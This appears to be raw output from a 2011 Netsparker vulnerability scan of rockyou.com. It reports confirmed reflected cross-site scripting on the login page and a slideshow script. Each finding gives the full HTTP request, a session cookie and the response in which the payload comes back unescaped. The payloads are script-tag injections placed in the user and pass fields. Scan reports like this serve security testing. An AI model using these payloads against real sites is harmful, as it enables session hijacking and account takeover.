} else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?'"--></style></script><script>netsparker(0x000E47)</script>&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noS..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en

Parameters

Parameter Type Value
lang GET en
pass POST 3
user POST '"--></style></script><script>alert(0x000E4B)</script>
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?lang=en HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164582; ctid=2; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass=3&user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000E4B)%3c%2fscript%3e&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:09:42 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:09:41 GMT; path=/; domain=.rockyou.com,lastlogin=1303164582; expires=Wed, 27-Jul-2011 22:09:42 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:09:42 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=91513 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9072
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x000E4B)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x000E4B)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="19..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en

Parameters

Parameter Type Value
lang GET en
user POST '"--></style></script><script>alert(0x000EA4)</script>
mode POST login
pass POST 3

Request

POST /login.php?lang=en HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164621; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000EA4)%3c%2fscript%3e&mode=login&pass=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:10:22 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:10:22 GMT; path=/; domain=.rockyou.com,lastlogin=1303164622; expires=Wed, 27-Jul-2011 22:10:22 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:10:22 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=96126 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9052
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x000EA4)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x000EA4)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914">1914</option><option value="1913&quo..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?lang=en

Parameters

Parameter Type Value
lang GET en
user POST 3
mode POST login
pass POST '"--></style></script><script>alert(0x000EEC)</script>

Request

POST /login.php?lang=en HTTP/1.1
Referer: http://www.rockyou.com/login.php?lang=en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164648; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user=3&mode=login&pass='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000EEC)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:10:48 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:10:48 GMT; path=/; domain=.rockyou.com,lastlogin=1303164648; expires=Wed, 27-Jul-2011 22:10:48 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:10:48 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=92287 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9046
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
